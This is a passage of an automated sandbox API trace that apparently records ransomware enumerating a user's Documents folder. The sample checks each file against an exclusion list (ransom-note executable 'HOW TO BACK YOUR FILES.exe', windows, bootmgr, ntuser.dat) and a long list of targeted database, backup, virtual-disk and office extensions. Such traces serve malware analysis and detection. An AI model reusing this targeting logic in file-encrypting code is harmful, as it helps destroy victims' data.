	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fp7") returned 1
	[0040.641] lstrlenW (lpString="fpt") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fpt") returned 1
	[0040.641] lstrlenW (lpString="frm") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="frm") returned 1
	[0040.641] lstrlenW (lpString="gdb") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1
	[0040.641] lstrlenW (lpString="gdb") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1
	[0040.641] lstrlenW (lpString="grdb") returned 4
	[0040.641] lstrcmpiW (lpString1="pptx", lpString2="grdb") returned 1
	[0040.641] lstrlenW (lpString="gwi") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="gwi") returned 1
	[0040.641] lstrlenW (lpString="hdb") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="hdb") returned 1
	[0040.641] lstrlenW (lpString="his") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="his") returned 1
	[0040.641] lstrlenW (lpString="ib") returned 2
	[0040.641] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1
	[0040.642] lstrlenW (lpString="idb") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="idb") returned 1
	[0040.642] lstrlenW (lpString="ihx") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="ihx") returned 1
	[0040.642] lstrlenW (lpString="itdb") returned 4
	[0040.642] lstrcmpiW (lpString1="pptx", lpString2="itdb") returned 1
	[0040.642] lstrlenW (lpString="itw") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="itw") returned 1
	[0040.642] lstrlenW (lpString="jet") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="jet") returned 1
	[0040.642] lstrlenW (lpString="jtx") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="jtx") returned 1
	[0040.642] lstrlenW (lpString="kdb") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="kdb") returned 1
	[0040.642] lstrlenW (lpString="kexi") returned 4
	[0040.642] lstrcmpiW (lpString1="pptx", lpString2="kexi") returned 1
	[0040.642] lstrlenW (lpString="kexic") returned 5
	[0040.642] lstrcmpiW (lpString1=".pptx", lpString2="kexic") returned -1
	[0040.642] lstrlenW (lpString="kexis") returned 5
	[0040.642] lstrcmpiW (lpString1=".pptx", lpString2="kexis") returned -1
	[0040.642] lstrlenW (lpString="lgc") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="lgc") returned 1
	[0040.642] lstrlenW (lpString="lwx") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="lwx") returned 1
	[0040.642] lstrlenW (lpString="maf") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="maf") returned 1
	[0040.642] lstrlenW (lpString="maq") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="maq") returned 1
	[0040.642] lstrlenW (lpString="mar") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="mar") returned 1
	[0040.642] lstrlenW (lpString="marshal") returned 7
	[0040.642] lstrcmpiW (lpString1="Ns.pptx", lpString2="marshal") returned 1
	[0040.642] lstrlenW (lpString="mas") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="mas") returned 1
	[0040.642] lstrlenW (lpString="mav") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="mav") returned 1
	[0040.642] lstrlenW (lpString="maw") returned 3
	[0040.642] lstrcmpiW (lpString1="ptx", lpString2="maw") returned 1
	[0040.643] lstrlenW (lpString="mdbhtml") returned 7
	[0040.643] lstrcmpiW (lpString1="Ns.pptx", lpString2="mdbhtml") returned 1
	[0040.643] lstrlenW (lpString="mdn") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="mdn") returned 1
	[0040.643] lstrlenW (lpString="mdt") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="mdt") returned 1
	[0040.643] lstrlenW (lpString="mfd") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="mfd") returned 1
	[0040.643] lstrlenW (lpString="mpd") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="mpd") returned 1
	[0040.643] lstrlenW (lpString="mrg") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="mrg") returned 1
	[0040.643] lstrlenW (lpString="mud") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="mud") returned 1
	[0040.643] lstrlenW (lpString="mwb") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="mwb") returned 1
	[0040.643] lstrlenW (lpString="myd") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="myd") returned 1
	[0040.643] lstrlenW (lpString="ndf") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="ndf") returned 1
	[0040.643] lstrlenW (lpString="nnt") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="nnt") returned 1
	[0040.643] lstrlenW (lpString="nrmlib") returned 6
	[0040.643] lstrcmpiW (lpString1="s.pptx", lpString2="nrmlib") returned 1
	[0040.643] lstrlenW (lpString="ns2") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="ns2") returned 1
	[0040.643] lstrlenW (lpString="ns3") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="ns3") returned 1
	[0040.643] lstrlenW (lpString="ns4") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="ns4") returned 1
	[0040.643] lstrlenW (lpString="nsf") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="nsf") returned 1
	[0040.643] lstrlenW (lpString="nv") returned 2
	[0040.643] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1
	[0040.643] lstrlenW (lpString="nv2") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="nv2") returned 1
	[0040.643] lstrlenW (lpString="nwdb") returned 4
	[0040.643] lstrcmpiW (lpString1="pptx", lpString2="nwdb") returned 1
	[0040.643] lstrlenW (lpString="nyf") returned 3
	[0040.643] lstrcmpiW (lpString1="ptx", lpString2="nyf") returned 1
	[0040.644] lstrlenW (lpString="odb") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1
	[0040.644] lstrlenW (lpString="odb") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1
	[0040.644] lstrlenW (lpString="oqy") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="oqy") returned 1
	[0040.644] lstrlenW (lpString="ora") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="ora") returned 1
	[0040.644] lstrlenW (lpString="orx") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="orx") returned 1
	[0040.644] lstrlenW (lpString="owc") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="owc") returned 1
	[0040.644] lstrlenW (lpString="p96") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="p96") returned 1
	[0040.644] lstrlenW (lpString="p97") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="p97") returned 1
	[0040.644] lstrlenW (lpString="pan") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="pan") returned 1
	[0040.644] lstrlenW (lpString="pdb") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="pdb") returned 1
	[0040.644] lstrlenW (lpString="pdm") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="pdm") returned 1
	[0040.644] lstrlenW (lpString="pnz") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="pnz") returned 1
	[0040.644] lstrlenW (lpString="qry") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="qry") returned -1
	[0040.644] lstrlenW (lpString="qvd") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="qvd") returned -1
	[0040.644] lstrlenW (lpString="rbf") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="rbf") returned -1
	[0040.644] lstrlenW (lpString="rctd") returned 4
	[0040.644] lstrcmpiW (lpString1="pptx", lpString2="rctd") returned -1
	[0040.644] lstrlenW (lpString="rod") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="rod") returned -1
	[0040.644] lstrlenW (lpString="rodx") returned 4
	[0040.644] lstrcmpiW (lpString1="pptx", lpString2="rodx") returned -1
	[0040.644] lstrlenW (lpString="rpd") returned 3
	[0040.644] lstrcmpiW (lpString1="ptx", lpString2="rpd") returned -1
	[0040.644] lstrlenW (lpString="rsd") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="rsd") returned -1
	[0040.645] lstrlenW (lpString="sas7bdat") returned 8
	[0040.645] lstrcmpiW (lpString1="5Ns.pptx", lpString2="sas7bdat") returned -1
	[0040.645] lstrlenW (lpString="sbf") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="sbf") returned -1
	[0040.645] lstrlenW (lpString="scx") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="scx") returned -1
	[0040.645] lstrlenW (lpString="sdb") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="sdb") returned -1
	[0040.645] lstrlenW (lpString="sdc") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="sdc") returned -1
	[0040.645] lstrlenW (lpString="sdf") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="sdf") returned -1
	[0040.645] lstrlenW (lpString="sis") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="sis") returned -1
	[0040.645] lstrlenW (lpString="spq") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="spq") returned -1
	[0040.645] lstrlenW (lpString="te") returned 2
	[0040.645] lstrcmpiW (lpString1="tx", lpString2="te") returned 1
	[0040.645] lstrlenW (lpString="teacher") returned 7
	[0040.645] lstrcmpiW (lpString1="Ns.pptx", lpString2="teacher") returned -1
	[0040.645] lstrlenW (lpString="tmd") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="tmd") returned -1
	[0040.645] lstrlenW (lpString="tps") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="tps") returned -1
	[0040.645] lstrlenW (lpString="trc") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1
	[0040.645] lstrlenW (lpString="trc") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1
	[0040.645] lstrlenW (lpString="trm") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="trm") returned -1
	[0040.645] lstrlenW (lpString="udb") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="udb") returned -1
	[0040.645] lstrlenW (lpString="udl") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="udl") returned -1
	[0040.645] lstrlenW (lpString="usr") returned 3
	[0040.645] lstrcmpiW (lpString1="ptx", lpString2="usr") returned -1
	[0040.646] lstrlenW (lpString="v12") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="v12") returned -1
	[0040.646] lstrlenW (lpString="vis") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="vis") returned -1
	[0040.646] lstrlenW (lpString="vpd") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="vpd") returned -1
	[0040.646] lstrlenW (lpString="vvv") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="vvv") returned -1
	[0040.646] lstrlenW (lpString="wdb") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="wdb") returned -1
	[0040.646] lstrlenW (lpString="wmdb") returned 4
	[0040.646] lstrcmpiW (lpString1="pptx", lpString2="wmdb") returned -1
	[0040.646] lstrlenW (lpString="wrk") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="wrk") returned -1
	[0040.646] lstrlenW (lpString="xdb") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="xdb") returned -1
	[0040.646] lstrlenW (lpString="xld") returned 3
	[0040.646] lstrcmpiW (lpString1="ptx", lpString2="xld") returned -1
	[0040.646] lstrlenW (lpString="xmlff") returned 5
	[0040.646] lstrcmpiW (lpString1=".pptx", lpString2="xmlff") returned -1
	[0040.646] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4579f80, ftCreationTime.dwHighDateTime=0x1d4ce6c, ftLastAccessTime.dwLowDateTime=0x8aaf2f30, ftLastAccessTime.dwHighDateTime=0x1d4cc00, ftLastWriteTime.dwLowDateTime=0x8aaf2f30, ftLastWriteTime.dwHighDateTime=0x1d4cc00, nFileSizeHigh=0x0, nFileSizeLow=0x450a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4Dehs-.doc", cAlternateFileName="")) returned 1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="Apollon865.txt.exe") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2=".") returned 1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="..") returned 1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="windows") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="bootmgr") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="temp") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="pagefile.sys") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="boot") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="ids.txt") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="ntuser.dat") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="perflogs") returned -1
	[0040.646] lstrcmpiW (lpString1="4Dehs-.doc", lpString2="MSBuild") returned -1
	[0040.646] lstrlenW (lpString="4Dehs-.doc") returned 10
	[0040.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq\\2wdcFPL9YU5Ns.pptx") returned 78
	[0040.646] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="4Dehs-.doc" | out: lpString1="4Dehs-.doc") returned="4Dehs-.doc"
	[0040.646] lstrlenW (lpString="4Dehs-.doc") returned 10
	[0040.647] lstrlenW (lpString="Apollon865") returned 10
	[0040.647] lstrlenW (lpString=".dll") returned 4
	[0040.647] lstrcmpiW (lpString1="4Dehs-.doc", lpString2=".dll") returned 1
	[0040.647] lstrlenW (lpString=".lnk") returned 4
	[0040.647] lstrcmpiW (lpString1="4Dehs-.doc", lpString2=".lnk") returned 1
	[0040.647] lstrlenW (lpString=".ini") returned 4
	[0040.647] lstrcmpiW (lpString1="4Dehs-.doc", lpString2=".ini") returned 1
	[0040.647] lstrlenW (lpString=".sys") returned 4
	[0040.647] lstrcmpiW (lpString1="4Dehs-.doc", lpString2=".sys") returned 1
	[0040.647] lstrlenW (lpString="4Dehs-.doc") returned 10
	[0040.647] lstrlenW (lpString="bak") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="bak") returned 1
	[0040.647] lstrlenW (lpString="ba_") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="ba_") returned 1
	[0040.647] lstrlenW (lpString="dbb") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="dbb") returned 1
	[0040.647] lstrlenW (lpString="vmdk") returned 4
	[0040.647] lstrcmpiW (lpString1=".doc", lpString2="vmdk") returned -1
	[0040.647] lstrlenW (lpString="rar") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="rar") returned -1
	[0040.647] lstrlenW (lpString="zip") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="zip") returned -1
	[0040.647] lstrlenW (lpString="tgz") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="tgz") returned -1
	[0040.647] lstrlenW (lpString="vbox") returned 4
	[0040.647] lstrcmpiW (lpString1=".doc", lpString2="vbox") returned -1
	[0040.647] lstrlenW (lpString="vdi") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="vdi") returned -1
	[0040.647] lstrlenW (lpString="vhd") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="vhd") returned -1
	[0040.647] lstrlenW (lpString="vhdx") returned 4
	[0040.647] lstrcmpiW (lpString1=".doc", lpString2="vhdx") returned -1
	[0040.647] lstrlenW (lpString="avhd") returned 4
	[0040.647] lstrcmpiW (lpString1=".doc", lpString2="avhd") returned -1
	[0040.647] lstrlenW (lpString="db") returned 2
	[0040.647] lstrcmpiW (lpString1="oc", lpString2="db") returned 1
	[0040.647] lstrlenW (lpString="db2") returned 3
	[0040.647] lstrcmpiW (lpString1="doc", lpString2="db2") returned 1
	[0040.647] lstrlenW (lpString="db3") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="db3") returned 1
	[0040.648] lstrlenW (lpString="dbf") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="dbf") returned 1
	[0040.648] lstrlenW (lpString="mdf") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="mdf") returned -1
	[0040.648] lstrlenW (lpString="mdb") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="mdb") returned -1
	[0040.648] lstrlenW (lpString="sql") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="sql") returned -1
	[0040.648] lstrlenW (lpString="sqlite") returned 6
	[0040.648] lstrcmpiW (lpString1="s-.doc", lpString2="sqlite") returned -1
	[0040.648] lstrlenW (lpString="sqlite3") returned 7
	[0040.648] lstrcmpiW (lpString1="hs-.doc", lpString2="sqlite3") returned -1
	[0040.648] lstrlenW (lpString="sqlitedb") returned 8
	[0040.648] lstrcmpiW (lpString1="ehs-.doc", lpString2="sqlitedb") returned -1
	[0040.648] lstrlenW (lpString="xml") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="xml") returned -1
	[0040.648] lstrlenW (lpString="$er") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="$er") returned 1
	[0040.648] lstrlenW (lpString="4dd") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="4dd") returned 1
	[0040.648] lstrlenW (lpString="4dl") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="4dl") returned 1
	[0040.648] lstrlenW (lpString="^^^") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="^^^") returned 1
	[0040.648] lstrlenW (lpString="abs") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="abs") returned 1
	[0040.648] lstrlenW (lpString="abx") returned 3
	[0040.648] lstrcmpiW (lpString1="doc", lpString2="abx") returned 1
	[0040.648] lstrlenW (lpString="accdb") returned 5
	[0040.648] lstrcmpiW (lpString1="-.doc", lpString2="accdb") returned -1
	[0040.648] lstrlenW (lpString="accdc") returned 5
	[0040.648] lstrcmpiW (lpString1="-.doc", lpString2="accdc") returned -1
	[0040.648] lstrlenW (lpString="accde") returned 5
	[0040.648] lstrcmpiW (lpString1="-.doc", lpString2="accde") returned -1
	[0040.648] lstrlenW (lpString="accdr") returned 5
	[0040.648] lstrcmpiW (lpString1="-.doc", lpString2="accdr") returned -1
	[0040.648] lstrlenW (lpString="accdt") returned 5
	[0040.648] lstrcmpiW (lpString1="-.doc", lpString2="accdt") returned -1
	[0040.649] lstrlenW (lpString="accdw") returned 5
	[0040.649] lstrcmpiW (lpString1="-.doc", lpString2="accdw") returned -1
	[0040.649] lstrlenW (lpString="accft") returned 5
	[0040.649] lstrcmpiW (lpString1="-.doc", lpString2="accft") returned -1
	[0040.649] lstrlenW (lpString="adb") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="adb") returned 1
	[0040.649] lstrlenW (lpString="adb") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="adb") returned 1
	[0040.649] lstrlenW (lpString="ade") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="ade") returned 1
	[0040.649] lstrlenW (lpString="adf") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="adf") returned 1
	[0040.649] lstrlenW (lpString="adn") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="adn") returned 1
	[0040.649] lstrlenW (lpString="adp") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="adp") returned 1
	[0040.649] lstrlenW (lpString="alf") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="alf") returned 1
	[0040.649] lstrlenW (lpString="ask") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="ask") returned 1
	[0040.649] lstrlenW (lpString="btr") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="btr") returned 1
	[0040.649] lstrlenW (lpString="cat") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="cat") returned 1
	[0040.649] lstrlenW (lpString="cdb") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="cdb") returned 1
	[0040.649] lstrlenW (lpString="ckp") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="ckp") returned 1
	[0040.649] lstrlenW (lpString="cma") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="cma") returned 1
	[0040.649] lstrlenW (lpString="cpd") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="cpd") returned 1
	[0040.649] lstrlenW (lpString="dacpac") returned 6
	[0040.649] lstrcmpiW (lpString1="s-.doc", lpString2="dacpac") returned 1
	[0040.649] lstrlenW (lpString="dad") returned 3
	[0040.649] lstrcmpiW (lpString1="doc", lpString2="dad") returned 1
	[0040.649] lstrlenW (lpString="dadiagrams") returned 10
	[0040.649] lstrlenW (lpString="daschema") returned 8
	[0040.650] lstrcmpiW (lpString1="ehs-.doc", lpString2="daschema") returned 1
	[0040.650] lstrlenW (lpString="db-journal") returned 10
	[0040.650] lstrlenW (lpString="db-shm") returned 6
	[0040.650] lstrcmpiW (lpString1="s-.doc", lpString2="db-shm") returned 1
	[0040.650] lstrlenW (lpString="db-wal") returned 6
	[0040.650] lstrcmpiW (lpString1="s-.doc", lpString2="db-wal") returned 1
	[0040.650] lstrlenW (lpString="dbc") returned 3
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dbc") returned 1
	[0040.650] lstrlenW (lpString="dbs") returned 3
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dbs") returned 1
	[0040.650] lstrlenW (lpString="dbt") returned 3
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dbt") returned 1
	[0040.650] lstrlenW (lpString="dbv") returned 3
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dbv") returned 1
	[0040.650] lstrlenW (lpString="dbx") returned 3
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dbx") returned 1
	[0040.650] lstrlenW (lpString="dcb") returned 3
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dcb") returned 1
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dct") returned 1
	[0040.650] lstrcmpiW (lpString1="doc", lpString2="dcx") returned 1
	[0040.650] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="54cMvVdIjyu.docx" | out: lpString1="54cMvVdIjyu.docx") returned="54cMvVdIjyu.docx"
	[0040.650] lstrlenW (lpString="54cMvVdIjyu.docx") returned 16
	[0040.650] lstrlenW (lpString="Apollon865") returned 10
	[0040.650] lstrcmpiW (lpString1="dIjyu.docx", lpString2="Apollon865") returned 1
	[0040.650] lstrlenW (lpString=".dll") returned 4
	[0040.650] lstrcmpiW (lpString1="54cMvVdIjyu.docx", lpString2=".dll") returned 1
	[0040.650] lstrlenW (lpString=".lnk") returned 4
	[0040.650] lstrcmpiW (lpString1="54cMvVdIjyu.docx", lpString2=".lnk") returned 1
	[0040.650] lstrlenW (lpString=".ini") returned 4
	[0040.650] lstrcmpiW (lpString1="54cMvVdIjyu.docx", lpString2=".ini") returned 1
	[0040.650] lstrlenW (lpString=".sys") returned 4
	[0040.650] lstrcmpiW (lpString1="54cMvVdIjyu.docx", lpString2=".sys") returned 1
	[0040.650] lstrlenW (lpString="54cMvVdIjyu.docx") returned 16
	[0040.651] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="81fOCcUrX1bQSwYIDcC.pptx" | out: lpString1="81fOCcUrX1bQSwYIDcC.pptx") returned="81fOCcUrX1bQSwYIDcC.pptx"
	[0040.651] lstrlenW (lpString="81fOCcUrX1bQSwYIDcC.pptx") returned 24
	[0040.651] lstrlenW (lpString="Apollon865") returned 10
	[0040.651] lstrcmpiW (lpString1="YIDcC.pptx", lpString2="Apollon865") returned 1
	[0040.651] lstrlenW (lpString=".dll") returned 4
	[0040.651] lstrcmpiW (lpString1="81fOCcUrX1bQSwYIDcC.pptx", lpString2=".dll") returned 1
	[0040.651] lstrlenW (lpString=".lnk") returned 4
	[0040.651] lstrcmpiW (lpString1="81fOCcUrX1bQSwYIDcC.pptx", lpString2=".lnk") returned 1
	[0040.651] lstrlenW (lpString=".ini") returned 4
	[0040.651] lstrcmpiW (lpString1="81fOCcUrX1bQSwYIDcC.pptx", lpString2=".ini") returned 1
	[0040.651] lstrlenW (lpString=".sys") returned 4
	[0040.651] lstrcmpiW (lpString1="81fOCcUrX1bQSwYIDcC.pptx", lpString2=".sys") returned 1
	[0040.651] lstrlenW (lpString="81fOCcUrX1bQSwYIDcC.pptx") returned 24
	[0040.651] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="8lSLIFEY0.doc" | out: lpString1="8lSLIFEY0.doc") returned="8lSLIFEY0.doc"
	[0040.651] lstrlenW (lpString="8lSLIFEY0.doc") returned 13
	[0040.651] lstrlenW (lpString="Apollon865") returned 10
	[0040.651] lstrcmpiW (lpString1="LIFEY0.doc", lpString2="Apollon865") returned 1
	[0040.651] lstrlenW (lpString=".dll") returned 4
	[0040.651] lstrcmpiW (lpString1="8lSLIFEY0.doc", lpString2=".dll") returned 1
	[0040.651] lstrlenW (lpString=".lnk") returned 4
	[0040.651] lstrcmpiW (lpString1="8lSLIFEY0.doc", lpString2=".lnk") returned 1
	[0040.651] lstrlenW (lpString=".ini") returned 4
	[0040.651] lstrcmpiW (lpString1="8lSLIFEY0.doc", lpString2=".ini") returned 1
	[0040.651] lstrlenW (lpString=".sys") returned 4
	[0040.651] lstrcmpiW (lpString1="8lSLIFEY0.doc", lpString2=".sys") returned 1
	[0040.651] lstrlenW (lpString="8lSLIFEY0.doc") returned 13
	[0040.651] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="9C2_727.pps" | out: lpString1="9C2_727.pps") returned="9C2_727.pps"
	[0040.651] lstrlenW (lpString="9C2_727.pps") returned 11
	[0040.651] lstrlenW (lpString="Apollon865") returned 10
	[0040.651] lstrcmpiW (lpString1="C2_727.pps", lpString2="Apollon865") returned 1
	[0040.651] lstrlenW (lpString=".dll") returned 4
	[0040.651] lstrcmpiW (lpString1="9C2_727.pps", lpString2=".dll") returned 1
	[0040.651] lstrlenW (lpString=".lnk") returned 4
	[0040.651] lstrcmpiW (lpString1="9C2_727.pps", lpString2=".lnk") returned 1
	[0040.652] lstrlenW (lpString=".ini") returned 4
	[0040.652] lstrcmpiW (lpString1="9C2_727.pps", lpString2=".ini") returned 1
	[0040.652] lstrlenW (lpString=".sys") returned 4
	[0040.652] lstrcmpiW (lpString1="9C2_727.pps", lpString2=".sys") returned 1
	[0040.652] lstrlenW (lpString="9C2_727.pps") returned 11
	[0040.652] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="DR X2dZnyJ69dxtwpiL8.xls" | out: lpString1="DR X2dZnyJ69dxtwpiL8.xls") returned="DR X2dZnyJ69dxtwpiL8.xls"
	[0040.652] lstrlenW (lpString="DR X2dZnyJ69dxtwpiL8.xls") returned 24
	[0040.652] lstrlenW (lpString="Apollon865") returned 10
	[0040.652] lstrcmpiW (lpString1="twpiL8.xls", lpString2="Apollon865") returned 1
	[0040.652] lstrlenW (lpString=".dll") returned 4
	[0040.652] lstrcmpiW (lpString1="DR X2dZnyJ69dxtwpiL8.xls", lpString2=".dll") returned 1
	[0040.652] lstrlenW (lpString=".lnk") returned 4
	[0040.652] lstrcmpiW (lpString1="DR X2dZnyJ69dxtwpiL8.xls", lpString2=".lnk") returned 1
	[0040.652] lstrlenW (lpString=".ini") returned 4
	[0040.652] lstrcmpiW (lpString1="DR X2dZnyJ69dxtwpiL8.xls", lpString2=".ini") returned 1
	[0040.652] lstrlenW (lpString=".sys") returned 4
	[0040.652] lstrcmpiW (lpString1="DR X2dZnyJ69dxtwpiL8.xls", lpString2=".sys") returned 1
	[0040.652] lstrlenW (lpString="DR X2dZnyJ69dxtwpiL8.xls") returned 24
	[0040.652] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="EvLD.ppt" | out: lpString1="EvLD.ppt") returned="EvLD.ppt"
	[0040.652] lstrlenW (lpString="EvLD.ppt") returned 8
	[0040.652] lstrlenW (lpString="Apollon865") returned 10
	[0040.652] lstrlenW (lpString=".dll") returned 4
